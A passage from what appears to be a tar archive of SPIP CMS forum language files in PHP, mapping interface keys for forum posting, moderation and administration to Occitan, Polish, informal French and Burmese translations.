'text_article_propose_publication_forum' => 'N\'hésitez pas à donner votre avis grâce au forum attaché à cet article (en bas de page).', # NEW
'texte_en_cours_validation' => 'Les articles, brèves, forums ci dessous sont proposés à la publication.', # NEW
'texte_en_cours_validation_forum' => 'N\'hésitez pas à donner votre avis grâce aux forums qui leur sont attachés.', # NEW
'texte_messages_publics' => 'Messages publics sur :', # NEW
'titre_cadre_forum_administrateur' => 'Forum privé des administrateurs', # NEW
'titre_cadre_forum_interne' => 'Forum interne', # NEW
'titre_config_forums_prive' => 'Forums de l’espace privé', # NEW
'titre_forum' => 'Forum', # NEW
'titre_forum_suivi' => 'Suivi des forums', # NEW
'titre_page_forum_suivi' => 'Suivi des forums', # NEW
'titre_selection_action' => 'Sélection', # NEW
'tout_voir' => 'Voir tous les messages', # NEW
// V
'voir_messages_objet' => 'voir les messages' # NEW
);
?>
forum_oc_lnc.php 0000666 00000014146 15252247467 0007752 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/forum?lang_cible=oc_lnc
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'bouton_radio_articles_futurs' => 'als articles futurs sonque (pas cap d’accion sus la basa de donadas).',
'bouton_radio_articles_tous' => 'als articles totes sens excepcion',
'bouton_radio_articles_tous_sauf_forum_desactive' => 'a totes los articles, levat los que lor forum es desactivat.',
'bouton_radio_enregistrement_obligatoire' => 'Registrament obligatòri (los utilizaires se devon abonar en donant lor adreiça e-mail abans de poder mandar de contribucions).',
'bouton_radio_moderation_priori' => 'Moderacion a priòri (las
contribucions apareisson en public sonque se los administrators
las an validadas).', # MODIF
'bouton_radio_modere_abonnement' => 'amb abonament',
'bouton_radio_modere_posteriori' => 'moderacion a posteriòri', # MODIF
'bouton_radio_modere_priori' => 'moderacion a priòri', # MODIF
'bouton_radio_publication_immediate' => 'Publicar los messatges sul pic
(las contribucions apareisson tre mandadas, los administrators las pòdon
suprimir puèi).',
// F
'form_pet_message_commentaire' => 'Un messatge, una remarca ?',
'forum' => 'Forum',
'forum_acces_refuse' => 'Podètz pas mai accedir a aqueles forums.',
'forum_attention_dix_caracteres' => '<b>Atencion!</b> vòstre messatge deu téner almens dètz caractèrs.',
'forum_attention_trois_caracteres' => '<b>Atencion!</b> vòstre títol deu téner almens tres caractèrs.',
'forum_attention_trop_caracteres' => '<b>Atencion !</b> vòstre messatge es tròp long (@compte@ caractèrs) : per se poder registrar, cal pas que passe @max@ caractèrs.', # MODIF
'forum_avez_selectionne' => 'Avètz seleccionat :',
'forum_cliquer_retour' => 'Clicatz <a href=\'@retour_forum@\'>aicí</a> per contunhar.',
'forum_forum' => 'forum',
'forum_info_modere' => 'Aqueste forum es moderat a priòri: vòstra contribucion pareisserà pas qu’aprèp qu’un administrator del sit l’aja validada.', # MODIF
'forum_lien_hyper' => '<b>Ligam ipertèxt</b> (opcional)', # MODIF
'forum_message_definitif' => ' Messatge definitiu : mandar al sit',
'forum_message_trop_long' => 'Vòstre messatge es tròp long. La longor maximala es de 20 000 caractèrs.', # MODIF
'forum_ne_repondez_pas' => 'Respondatz pas a aquel e-mail mas pel forum a l’adreiça seguenta: ', # MODIF
'forum_page_url' => '(se vòstre messatge se referís a un article publicat pel web, o a una pagina que baile mai d’informacions, podètz marcar çai sota lo títol de la pagina e son adreiça URL.)',
'forum_poste_par' => 'Messatge mandat@parauteur@ que fa seguida a vòstre article « @titre@ ».', # MODIF
'forum_qui_etes_vous' => '<b>Qual sètz ?</b> (opcional)', # MODIF
'forum_texte' => 'Tèxt de vòstre messatge :', # MODIF
'forum_titre' => 'Títol :', # MODIF
'forum_url' => 'URL :', # MODIF
'forum_valider' => 'Validar aquela causida',
'forum_voir_avant' => 'Veire lo messatge abans de lo mandar', # MODIF
'forum_votre_email' => 'Vòstra adreiça e-mail :', # MODIF
'forum_votre_nom' => 'Vòstre nom (o pseudonim):', # MODIF
'forum_vous_enregistrer' => ' Per participar a
aquel forum, primièr vos cal registrar. Mercés
de marcar çai sota l’identificant personal qu’avètz recebut.
Se sètz pas registrat/ada, avètz de',
'forum_vous_inscrire' => 'vos inscriure. ',
// I
'icone_poster_message' => 'Postar un messatge',
'icone_suivi_forum' => 'Seguit del forum public: @nb_forums@ contribucion(s)',
'icone_suivi_forums' => 'Seguir/gerir los forums',
'icone_supprimer_message' => 'Suprimir aquel messatge',
'icone_valider_message' => 'Validar aquel messatge',
'info_activer_forum_public' => '<i>Per activar los forums publics, volgatz causir lor mòde de moderacion predefinit:</i>', # MODIF
'info_appliquer_choix_moderation' => 'Aplicar aquela causida de moderacion :',
'info_desactiver_forum_public' => 'Desactivar l’utilizacion dels forums publics. Los forums publics poiràn èsser autorizats al cas per cas suls articles; seràn proïbits sus las rubricas, brèvas, etc.',
'info_envoi_forum' => 'Mandadís dels forums als autors dels articles',
'info_fonctionnement_forum' => 'Foncionament del forum:',
'info_gauche_suivi_forum_2' => 'La pagina de <i>seguit dels forums</i> es una aisina de gestion del vòstre sit (mas es pas un espaci per discutir o per redigir). Aficha totas las contribucions dels forums del sit, tant las del sit public coma las de l’espaci privat e vos permet de gerir aquelas contribucions.', # MODIF
'info_liens_syndiques_3' => 'forums',
'info_liens_syndiques_4' => 'son',
'info_liens_syndiques_5' => 'forum',
'info_liens_syndiques_6' => 'es',
'info_liens_syndiques_7' => 'en espèra de validacion',
'info_mode_fonctionnement_defaut_forum_public' => 'Mòde de foncionament predefinit dels forums publics',
'info_option_email' => 'Quora un vesitaire del sit manda un messatge nòu al forum
associat a un article, se’n pòt avisar los autors
de l’article per e-mail. Desiratz d’utilizar aquela opcion?', # MODIF
'info_pas_de_forum' => 'Pas cap de forum',
'item_activer_forum_administrateur' => 'Activar lo forum dels administrators',
'item_desactiver_forum_administrateur' => 'Desactivar lo forum dels administrators',
// L
'lien_reponse_article' => 'Responsa a l’article',
'lien_reponse_breve_2' => 'Responsa a la brèva',
'lien_reponse_rubrique' => 'Responsa a la rubrica',
'lien_reponse_site_reference' => 'Responsa al sit referenciat :', # MODIF
// O
'onglet_messages_internes' => 'Messatges intèrnes',
'onglet_messages_publics' => 'Messatges publics',
'onglet_messages_vide' => 'Messatges sens tèxt',
// R
'repondre_message' => 'Respondre a aquel messatge',
// S
'statut_original' => 'original',
// T
'titre_cadre_forum_administrateur' => 'Forum privat dels administrators',
'titre_cadre_forum_interne' => 'Forum intèrne',
'titre_forum' => 'Forum',
'titre_forum_suivi' => 'Seguit dels forums',
'titre_page_forum_suivi' => 'Seguit dels forums'
);
?>
forum_pl.php 0000666 00000014064 15252247467 0007127 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/forum?lang_cible=pl
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'bouton_radio_articles_futurs' => 'wyłącznie do przyszłych artykułów (brak działania na bazie danych).',
'bouton_radio_articles_tous' => 'do wszystkich artykułów bez wyjątków.',
'bouton_radio_articles_tous_sauf_forum_desactive' => 'do wszystkich artykułów z wyjątkiem tych z nieczynnym forum.',
'bouton_radio_enregistrement_obligatoire' => 'Obowiązkowa rejestracja (użytkownicy muszą się zapisać przez podanie adresu e-mail aby mieć możliwość zamieszczania postów).',
'bouton_radio_moderation_priori' => 'Uprzednia moderacja (
posty będą się ukazywać dopiero po ich zatwierdzeniu przez
administratorów).', # MODIF
'bouton_radio_modere_abonnement' => 'na abonament',
'bouton_radio_modere_posteriori' => 'moderacja a posteriori', # MODIF
'bouton_radio_modere_priori' => 'moderacja a priori', # MODIF
'bouton_radio_publication_immediate' => 'Natychmiastowa publikacja wiadomości
(posty będą się ukazywać w momencie ich wysłania, administratorzy mogą
je później usunąć).',
// F
'form_pet_message_commentaire' => 'Jakieś wiadomości lub komentarze?',
'forum' => 'Forum',
'forum_acces_refuse' => 'Nie masz już dostępu do tego forum.',
'forum_attention_dix_caracteres' => '<b>Uwaga!</b> Twoja wiadomość powinna mieć conajmniej 10 znaków.',
'forum_attention_trois_caracteres' => '<b>Uwaga!</b> Twój temat powinien mieć conajmniej 3 znaki.',
'forum_attention_trop_caracteres' => '<b>Uwaga !</b> Twoja wiadomość jest za długa(@compte@ znaków) : aby mogła zostać przyjęta nie może przekraczać @max@ znaków.', # MODIF
'forum_avez_selectionne' => 'Wybrałeś:',
'forum_cliquer_retour' => 'Kliknij <a href=\'@retour_forum@\'>tutaj</a> aby kontynuować.',
'forum_forum' => 'forum',
'forum_info_modere' => 'To forum jest moderowane : Twój wpis ukaże się dopiero po weryfikacji przez administratora strony.', # MODIF
'forum_lien_hyper' => '<b>Link</b> (opcjonalny)', # MODIF
'forum_message_definitif' => 'Wiadomość końcowa: wyślij na stronę',
'forum_message_trop_long' => 'Twoja wiadomość jest za długa. Maksymalna długość to 20000 znaków.', # MODIF
'forum_ne_repondez_pas' => 'Nie odpowiadaj na tego maila, lecz na forum, pod następującym adresem:', # MODIF
'forum_page_url' => '(Jeśli twoja wiadomość odnosi się jakiegoś artykuły opublikowanego w internecie, wpisz poniżej tytuł tej strony oraz jej adres).',
'forum_poste_par' => 'Wiadomość na temat twojego artykułu napisana przez@parauteur@.', # MODIF
'forum_qui_etes_vous' => '<b>Kim jesteś?</b> (nieobowiązkowe)', # MODIF
'forum_texte' => 'Tekst Twojej wiadomości:', # MODIF
'forum_titre' => 'Temat:', # MODIF
'forum_url' => 'URL:', # MODIF
'forum_valider' => 'Zatwierdź ten wybór',
'forum_voir_avant' => 'Podgląd wiadomości przed umieszczeniem na forum', # MODIF
'forum_votre_email' => 'Twój adres e-mail:', # MODIF
'forum_votre_nom' => 'Twoje imię (lub alias):', # MODIF
'forum_vous_enregistrer' => 'Aby uczestniczyć w
tym forum - musisz się zarejestrować Dziękuję
za wprowadzenie loginu
o który prosimy. Jeśli nie jesteś jeszcze zarejstrowany, musisz',
'forum_vous_inscrire' => 'się zarejestrować.',
// I
'icone_poster_message' => 'Napisz wiadomość',
'icone_suivi_forum' => 'Śledź wątek forum publicznego: @nb_forums@',
'icone_suivi_forums' => 'Zarządzanie forum',
'icone_supprimer_message' => 'Usuń tę wiadomość',
'icone_valider_message' => 'Zatwierdź tę wiadomość',
'info_activer_forum_public' => '<i>Aby aktywować forum publiczne, wybierz domyślny sposób moderacji</i>', # MODIF
'info_appliquer_choix_moderation' => 'Wybierze ten sposób moderowania:',
'info_desactiver_forum_public' => 'Wyłącz możliwość korzystania z forum
publicznego. Forum publiczne będzie można w pewnych przypadkach aktywować
dołączając je do określonych artykułów ; wyłączenie będzie dotyczyło przede wszystkim działów i skrótów itd.',
'info_envoi_forum' => 'Wysyłka forum do autorów artykułów',
'info_fonctionnement_forum' => 'Funkcjonowanie forum :',
'info_gauche_suivi_forum_2' => 'Strona <i>archiwum forum</i> jest narzędziem administracji stroną (a nie miejscem dyskusji czy redagowania). Wyświetla ona wszystkie komentarze forum z całego serwisu, zarówno te ze stron publicznych i strefy prywatnej i pozwala na zarządzanie tymi komentarzami.', # MODIF
'info_liens_syndiques_3' => 'forum',
'info_liens_syndiques_4' => 'są',
'info_liens_syndiques_5' => 'forum',
'info_liens_syndiques_6' => 'jest',
'info_liens_syndiques_7' => 'w trakcie zatwierdzania.',
'info_mode_fonctionnement_defaut_forum_public' => 'Domyślny tryb funkcjonowania forum publicznego',
'info_option_email' => 'Kiedy odwiedzający stronę zostawią na forum wiadomość
związaną z artykułem, autorzy artykułu mogą zostać
poinformowani o tym przez e-mail. Czy chcesz zastosować tę opcję?', # MODIF
'info_pas_de_forum' => 'brak forum',
'item_activer_forum_administrateur' => 'Aktywuj forum administratorów',
'item_desactiver_forum_administrateur' => 'Wyłącz forum administratorów',
// L
'lien_reponse_article' => 'Odpowiedz na ten artykuł',
'lien_reponse_breve_2' => 'Odpowiedz na ten news',
'lien_reponse_rubrique' => 'Odpowiedz w tym dziale',
'lien_reponse_site_reference' => 'Odwołanie się do zlinkowanej strony :', # MODIF
// O
'onglet_messages_internes' => 'Wiadomości wewnętrzne',
'onglet_messages_publics' => 'Wiadomości publiczne',
'onglet_messages_vide' => 'Wiadomości bez tekstu',
// R
'repondre_message' => 'Skomentuj wiadomość',
// S
'statut_original' => 'oryginalny',
// T
'titre_cadre_forum_administrateur' => 'Prywatne forum administratorów',
'titre_cadre_forum_interne' => 'Forum wewnętrzne',
'titre_forum' => 'Forum',
'titre_forum_suivi' => 'Archiwum forum',
'titre_page_forum_suivi' => 'Archiwum forum'
);
?>
forum_fr_tu.php 0000666 00000024372 15252247467 0007636 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/forum?lang_cible=fr_tu
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// A
'aucun_message_forum' => 'Aucun message de forum',
// B
'bouton_radio_articles_futurs' => 'aux articles futurs uniquement (pas d’action sur la base de données).',
'bouton_radio_articles_tous' => 'à tous les articles sans exception.',
'bouton_radio_articles_tous_sauf_forum_desactive' => 'à tous les articles, sauf ceux dont le forum est désactivé.',
'bouton_radio_enregistrement_obligatoire' => 'Enregistrement obligatoire (les utilisateurs doivent s’abonner en fournissant leur adresse email avant de pouvoir poster des contributions).',
'bouton_radio_moderation_priori' => 'Modération a priori (les contributions ne s’affichent publiquement qu’après validation par les administrateurs).',
'bouton_radio_modere_abonnement' => 'sur abonnement',
'bouton_radio_modere_posteriori' => 'modération a posteriori',
'bouton_radio_modere_priori' => 'modération a priori',
'bouton_radio_publication_immediate' => 'Publication immédiate des messages
(les contributions s’affichent dès leur envoi, les administrateurs peuvent
les supprimer ensuite).',
// D
'documents_interdits_forum' => 'Documents interdits dans le forum',
// E
'erreur_enregistrement_message' => 'Ton message n’a pas pu être enregistré en raison d’un problème technique',
// F
'form_pet_message_commentaire' => 'Un message, un commentaire ?',
'forum' => 'Forum',
'forum_acces_refuse' => 'Tu n’as plus accès à ces forums.',
'forum_attention_dix_caracteres' => '<b>Attention !</b> ton message doit contenir au moins dix caractères.',
'forum_attention_message_non_poste' => 'Attention, vous n’as pas posté ton message !',
'forum_attention_nb_caracteres_mini' => '<b>Attention !</b> ton message doit contenir au moins @min@ caractères.',
'forum_attention_trois_caracteres' => '<b>Attention !</b> ton titre doit contenir au moins trois caractères.',
'forum_attention_trop_caracteres' => '<b>Attention !</b> ton message est trop long (@compte@ caractères) : pour pouvoir être enregistré, il ne doit pas dépasser @max@ caractères.',
'forum_avez_selectionne' => 'Tu as sélectionné :',
'forum_cliquer_retour' => 'Clique <a href=\'@retour_forum@\'>ici</a> pour continuer.',
'forum_forum' => 'forum',
'forum_info_modere' => 'Ce forum est modéré à priori : ta contribution n’apparaîtra qu’après avoir été validée par un administrateur du site.',
'forum_lien_hyper' => 'Lien hypertexte',
'forum_message' => 'Ton message',
'forum_message_definitif' => 'Message définitif : envoyer au site',
'forum_message_trop_long' => 'Ton message est trop long. La taille maximale est de 20 000 caractères.',
'forum_ne_repondez_pas' => 'Ne réponds pas à ce mail, mais sur le forum à l’adresse suivante :',
'forum_page_url' => '(Si ton message se réfère à un article publié sur le Web, ou à une page fournissant plus d’informations, indique ci-après le titre de la page et son adresse.)',
'forum_permalink' => 'Lien permanent vers le commentaire',
'forum_poste_par' => 'Message posté@parauteur@ à la suite de l’article « @titre@ ».',
'forum_poste_par_court' => 'Message posté@parauteur@.',
'forum_poste_par_generique' => 'Message posté@parauteur@ (@objet@ « @titre@ »).',
'forum_qui_etes_vous' => 'Qui es-tu ?',
'forum_saisie_texte_info' => 'Ce formulaire accepte les raccourcis SPIP <code>[->url] {{gras}} {italique} <quote> <code></code> et le code HTML <code><q> <del> <ins></code>. Pour créer des paragraphes, laissez simplement des lignes vides.',
'forum_texte' => 'Texte de ton message',
'forum_titre' => 'Titre',
'forum_url' => 'Ton site web',
'forum_valider' => 'Valider ce choix',
'forum_voir_avant' => 'Prévisualiser',
'forum_votre_email' => 'Ton adresse email',
'forum_votre_nom' => 'Ton nom',
'forum_vous_enregistrer' => 'Pour participer à
ce forum, tu dois t’enregistrer au préalable. Merci
d’indiquer ci-dessous l’identifiant personnel qui t’a
été fourni. Si tu n’es pas enregistré, tu dois',
'forum_vous_inscrire' => 't’inscrire.',
// I
'icone_bruler_message' => 'Signaler comme Spam',
'icone_bruler_messages' => 'Signaler comme Spam',
'icone_legitimer_message' => 'Signaler comme licite',
'icone_poster_message' => 'Poster un message',
'icone_suivi_forum' => 'Suivi du forum public : @nb_forums@ contribution(s)',
'icone_suivi_forums' => 'Suivre/gérer les forums',
'icone_supprimer_message' => 'Supprimer ce message',
'icone_supprimer_messages' => 'Supprimer ces messages',
'icone_valider_message' => 'Valider ce message',
'icone_valider_messages' => 'Valider ces messages',
'icone_valider_repondre_message' => 'Valider et Répondre à ce message',
'info_1_message_forum' => '1 message de forum',
'info_activer_forum_public' => 'Pour activer les forums publics, choisis leur mode de modération par défaut :',
'info_appliquer_choix_moderation' => 'Appliquer ce choix de modération :',
'info_config_forums_prive' => 'Dans l’espace privé du site, tu peux activer plusieurs types de forums :',
'info_config_forums_prive_admin' => 'Un forum réservé aux administrateurs du site :',
'info_config_forums_prive_global' => 'Un forum global, ouvert à tous les rédacteurs :',
'info_config_forums_prive_objets' => 'Un forum sous chaque article, brève, site référencé, etc. :',
'info_desactiver_forum_public' => 'Désactiver l’utilisation des forums
publics. Les forums publics pourront être autorisés au cas par cas
sur les articles ; ils seront interdits sur les rubriques, brèves, etc.',
'info_envoi_forum' => 'Envoi des forums aux auteurs des articles',
'info_fonctionnement_forum' => 'Fonctionnement du forum :',
'info_forums_liees_mot' => 'Les messages de forum liés à ce mot',
'info_gauche_suivi_forum_2' => 'La page de <i>suivi des forums</i> est un outil de gestion de ton site (et non un espace de discussion ou de rédaction). Elle affiche toutes les contributions des forums du site, aussi bien celles du site public que celles de l’espace privé et te permet de gérer ces contributions.',
'info_liens_syndiques_3' => 'forums',
'info_liens_syndiques_4' => 'sont',
'info_liens_syndiques_5' => 'forum',
'info_liens_syndiques_6' => 'est',
'info_liens_syndiques_7' => 'en attente de validation',
'info_liens_texte' => 'Lien(s) contenu(s) dans le texte du message',
'info_liens_titre' => 'Lien(s) contenu(s) dans le titre du message',
'info_mode_fonctionnement_defaut_forum_public' => 'Mode de fonctionnement par défaut des forums publics',
'info_nb_messages_forum' => '@nb@ messages de forum',
'info_option_email' => 'Lorsqu’un visiteur du site poste un nouveau message dans le forum associé à un article, les auteurs de l’article peuvent être prévenus de ce message par email. Indiquer pour chaque type de forum s’il faut utiliser cette option.',
'info_pas_de_forum' => 'pas de forum',
'info_question_visiteur_ajout_document_forum' => 'Si tu souhaites autoriser les visiteurs à joindre des documents (images, sons…) à leurs messages de forum, indique ci-dessous la liste des extensions de documents autorisés pour les forums (ex : gif, jpg, png, mp3).',
'info_question_visiteur_ajout_document_forum_format' => 'Si tu souhaites autoriser tous les types de documents considérés comme fiables par SPIP, mets une étoile. Pour ne rien autoriser, n’indique rien.',
'info_selectionner_message' => 'Sélectionner les messages :',
'interface_formulaire' => 'Interface formulaire',
'interface_onglets' => 'Interface avec onglets',
'item_activer_forum_administrateur' => 'Activer le forum des administrateurs',
'item_config_forums_prive_global' => 'Activer le forum des rédacteurs',
'item_config_forums_prive_objets' => 'Activer ces forums',
'item_desactiver_forum_administrateur' => 'Désactiver le forum des administrateurs',
'item_non_config_forums_prive_global' => 'Désactiver le forum des rédacteurs',
'item_non_config_forums_prive_objets' => 'Désactiver ces forums',
// L
'label_selectionner' => 'Sélectionner :',
'lien_reponse_article' => 'Réponse à l’article',
'lien_reponse_breve_2' => 'Réponse à la brève',
'lien_reponse_message' => 'Réponse au message',
'lien_reponse_rubrique' => 'Réponse à la rubrique',
'lien_reponse_site_reference' => 'Réponse au site référencé',
'lien_vider_selection' => 'Vider la sélection',
// M
'messages_aucun' => 'Aucun',
'messages_meme_auteur' => 'Tous les messages de cet auteur',
'messages_meme_email' => 'Tous les messages de cet email',
'messages_meme_ip' => 'Tous les messages de cette IP',
'messages_off' => 'Supprimés',
'messages_perso' => 'Personnels',
'messages_privadm' => 'Administrateurs',
'messages_prive' => 'Privés',
'messages_privoff' => 'Supprimés',
'messages_privrac' => 'Généraux',
'messages_prop' => 'Proposés',
'messages_publie' => 'Publiés',
'messages_spam' => 'Spam',
'messages_tous' => 'Tous',
// O
'onglet_messages_internes' => 'Messages internes',
'onglet_messages_publics' => 'Messages publics',
'onglet_messages_vide' => 'Messages sans texte',
// R
'repondre_message' => 'Répondre à ce message',
// S
'statut_off' => 'Supprimé',
'statut_original' => 'original',
'statut_prop' => 'Proposé',
'statut_publie' => 'Publié',
'statut_spam' => 'Spam',
// T
'text_article_propose_publication_forum' => 'N’hésite pas à donner ton avis grâce au forum attaché à cet article (en bas de page).',
'texte_en_cours_validation' => 'Les articles, brèves, forums ci-dessous sont proposés à la publication.',
'texte_en_cours_validation_forum' => 'N’hésite pas à donner ton avis grâce aux forums qui leur sont attachés.',
'texte_messages_publics' => 'Messages publics sur :',
'titre_cadre_forum_administrateur' => 'Forum privé des administrateurs',
'titre_cadre_forum_interne' => 'Forum interne',
'titre_config_forums_prive' => 'Forums de l’espace privé',
'titre_forum' => 'Forum',
'titre_forum_suivi' => 'Suivi des forums',
'titre_page_forum_suivi' => 'Suivi des forums',
'titre_selection_action' => 'Sélection',
'tout_voir' => '>Voir tous les messages',
// V
'voir_messages_objet' => 'voir les messages'
);
?>
forum_my.php 0000666 00000027236 15252247467 0007146 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/forum?lang_cible=my
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'bouton_radio_articles_futurs' => 'လာမည့် ဆောင်ပါးအသစ်များ အတွက်သာ (သိုလောင် သိမ်းဆည်းထားသည်များနှင့်မဆိုင်)',
'bouton_radio_articles_tous' => 'လုံးဝခြွင်းချက်မရှိ ဆောင်းပါးများ အလုံးသို့',
'bouton_radio_articles_tous_sauf_forum_desactive' => 'ဆောင်းပါးများ အလုံးသို့၊ သို့သော် ဖိုရမ်ပိတ်ထားသော ဆောင်းပါးများမပါ',
'bouton_radio_enregistrement_obligatoire' => 'မှတ်ပုံတင်ရန် လိုအပ်သည် (သုံးစွဲသူများ အနေဖြင့် အီးမေးလ်လိပ်စာ ပေးထားရပါမည်)',
'bouton_radio_moderation_priori' => 'ကြိုတင် ထိန်းသိမ်းထားခြင်း (ပါဝင်ရေးသားချက်များသည် ကြီးကြပ်သူမှ စစ်ဆေးအတည်ပြုပြီးမှသာ အများဆိုင်စာမျက်နှာတွင် ပေါ်လာမည်)', # MODIF
'bouton_radio_modere_abonnement' => 'မှတ်ပုံတင်ထားရန် လိုအပ်သည်',
'bouton_radio_modere_posteriori' => 'နောက်မှ ထိန်းသိမ်းခြင်း', # MODIF
'bouton_radio_modere_priori' => 'ကြိုတင် ထိန်းသိမ်းထားခြင်း', # MODIF
'bouton_radio_publication_immediate' => 'ချက်ချင်းထုတ်ပြန်ခြင်းအတွက် သတင်းအချက်အလက် (ပါဝင်ရေးသားချက်များ ပို့ပြီးပြီးခြင်း ဖော်ပြမည်၊ အဲဒီနောက် ကြီးကြပ်သူများမှ ပယ်ဖျက်နိုင်သည်)',
// F
'form_pet_message_commentaire' => 'မှတ်ချက် တစ်စုံတစ်ရာ ပေးလိုပါသလား?',
'forum' => 'ဖိုရမ်',
'forum_acces_refuse' => 'ဤဖိုရမ်သို့ ဝင်ရောက်ခွင့် မရှိတော့ပါ',
'forum_attention_dix_caracteres' => '<b>သတိပေးချက်!</b> သင့်စာစောင်သည် အနည်းဆုံး စာလုံး၁ဝလုံးနှင့် အထက်ပါဝင်သင့်သည်',
'forum_attention_trois_caracteres' => '<b>သတိပေးချက်!</b> သင့်ခေါင်းစဉ်သည် အနည်းဆုံး စာလုံး၃လုံးနှင့် အထက်ပါဝင်သင့်သည်',
'forum_attention_trop_caracteres' => '<b>သတိပေးချက် !</b> သင့်စာစောင် (@compte@ characters) သည် သိမ်းဆည်းရန် ရှည်လွန်းသည်၊ အများဆုံး စာလုံး @max@သာ ပါဝင်သင့်သည်', # MODIF
'forum_avez_selectionne' => 'သင်ရွေးချယ်ခဲ့ပြီးပြီ',
'forum_cliquer_retour' => 'ဤနေရာကို <a href=\'@retour_forum@\'>နှိပ်ပြီး</a> ဆက်သွားပါ',
'forum_forum' => 'ဖိုရမ်',
'forum_info_modere' => 'ဤဖိုရမ်သည် အတည်ပြုချက်လိုအပ်သည်၊ သင့်ပါဝင်ရေးသားမှုသည် ဆိုက်ကြီးကြပ်သူမှ အတည်ပြုပြီးရင် ပေါ်လာပါလိမ့်မည်', # MODIF
'forum_lien_hyper' => '<b>Hypertext ဆက်သွယ်မှု</b> (optional)', # MODIF
'forum_message_definitif' => 'ဆိုက်သို့ပို့ပြီးကြောင်း နောက်ဆုံးအကြောင်းကြားခြင်း',
'forum_message_trop_long' => 'သင့်စာစောင် အလွန်ရှည်ပါသည်၊ အများဆုံး စာလုံး ၂ဝဝဝဝ သာရှိသင့်သည်', # MODIF
'forum_ne_repondez_pas' => 'ဤမေးလ်ကို တိုက်ရိုက် အကြောင်းမပြန်ပါနှင့်၊ အောက်ပါလိပ်စာမှ ပြန်ပါ', # MODIF
'forum_page_url' => '(သင့်ဆောင်ပါး ထုတ်ဝေမှုကို ဒီစာစောင်မ ညွှန်းထားတယ်ဆိုရင်တော့၊ အောက်ဖော်ပြပါနေရာတွင် စာမျက်နှာခေါင်းစဉ်နှင့် လိပ်စာကိုထည့်သွင်းပါ။)',
'forum_poste_par' => 'သင့်ဆောင်းပါး \\"@titre@\\" တင်သွင်းပြီးကြောင်း @parauteur@', # MODIF
'forum_qui_etes_vous' => '<b>သင်ဘယ်သူလဲ?</b> (optional)', # MODIF
'forum_texte' => 'သင့်စာစောင်၏ စာသားများ', # MODIF
'forum_titre' => 'အကြောင်းအရာ', # MODIF
'forum_url' => 'ဝက်ဘ်လိပ်စာ', # MODIF
'forum_valider' => 'ဤရွေးချယ်မှုကို အတည်ပြုရန်',
'forum_voir_avant' => 'စာစောင်မတင်သွင်းမှီ အရင်ကြည့်ရှုရန်', # MODIF
'forum_votre_email' => 'သင့်အီးမေးလ်လိပ်စာ', # MODIF
'forum_votre_nom' => 'သင့်နာမည်', # MODIF
'forum_vous_enregistrer' => 'သင့်ကိုပေးထားသော မှတ်ပုံတင်နံပါတ်နှင့်ဝင်ပါ သို့မဟုတ် ဤဖိုရမ်ထဲ အထူးနေရာမှ ပါဝင် ရန် အရင်မှတ်ပုံတင်ပါ',
'forum_vous_inscrire' => 'မှတ်ပုံတင်ရန်',
// I
'icone_poster_message' => 'စာတစောင်ပို့ပါ',
'icone_suivi_forum' => 'နောက်ဆက်တွဲဖိုရမ် @nb_forums@ ပါဝင်မှု(များ)',
'icone_suivi_forums' => 'ဖိုရမ်ကို စီမံရန်',
'icone_supprimer_message' => 'ဤစာစောင်ကို ပယ်ဖျက်ရန်',
'icone_valider_message' => 'ဤစာစောင်ကို အတည်ပြုရန်',
'info_activer_forum_public' => '<i>အများသုံးဖိုရမ်သို့ ဝင်ရောက်ရန်အတွက် အခြားထိန်းချုပ်မှုပုံစံကို ရွေးချယ်ပေးပါ</i>', # MODIF
'info_appliquer_choix_moderation' => 'ဆုံးဖြတ်ခြင်းအတွက် သည်ရွေးချယ်မှုကိုပြုလုပ်ပါ',
'info_desactiver_forum_public' => 'အများဆိုင်ဖိုရမ်နှင့် ချိတ်ဆက်မှု မရနိုင်ပါ၊ ဆောင်းပါးများပေါ်မူတည်ပြီး အများဆိုင်ဖိုရမ်ကို ချိတ်ဆက်ခွင့်ပြုနိုင်သည်၊
၎င်းတို့သည် အခန်းကဏ္ဍအတွက် သတင်းစသည်များကို ခွင့်မပြုပါ',
'info_envoi_forum' => 'ဆောင်းပါးရေးသည့် စာရေးသူများသို့ ဖိုရမ်လိပ်စာကို ပို့လိုက်ပါ',
'info_fonctionnement_forum' => 'ဖိုရမ်လုပ်ဆောင်မှု',
'info_gauche_suivi_forum_2' => '<i>ဖိုရမ်နောက်ဆက်တွဲ</i> စာမျက်နှာသည် သင့်ဝက်ဘ်ဆိုက်၏ စီမံခန့်ခွဲသည့် ကိရိယာဖြစ်သည် (ဆွေးနွေးမှု (သို့) ပြန်လည်ပြုပြင်သည့် ဧရိယာမဟုတ်ပါ) ၄င်းသည်ဤဆောင်းပါး၏ အများသုံးဖိုရမ်ထည့်ဝင်မှုများကို ဖော်ပြပြီး ထိုထည့်ဝင်မှုများကို စီမံခွင့်ပြူသည် (အများသုံးဝက်ဘ်ဆိုက်နှင့် ကိုယ်ပိုင်နေရာနှစ်ခုစလုံး)', # MODIF
'info_liens_syndiques_3' => 'ဖိုရမ်များ',
'info_liens_syndiques_4' => 'ဖြစ်ကြသည်',
'info_liens_syndiques_5' => 'ဖိုရမ်',
'info_liens_syndiques_6' => 'ဖြစ်သည်',
'info_liens_syndiques_7' => 'စံနှုန်းကိုက်ညီမှုစစ်ဆေးချက်ပယ်ဖျက်သည်',
'info_mode_fonctionnement_defaut_forum_public' => 'အများသုံးဖိုရမ်များ၏ အခြားလုပ်ဆောင်မှုပုံစံ',
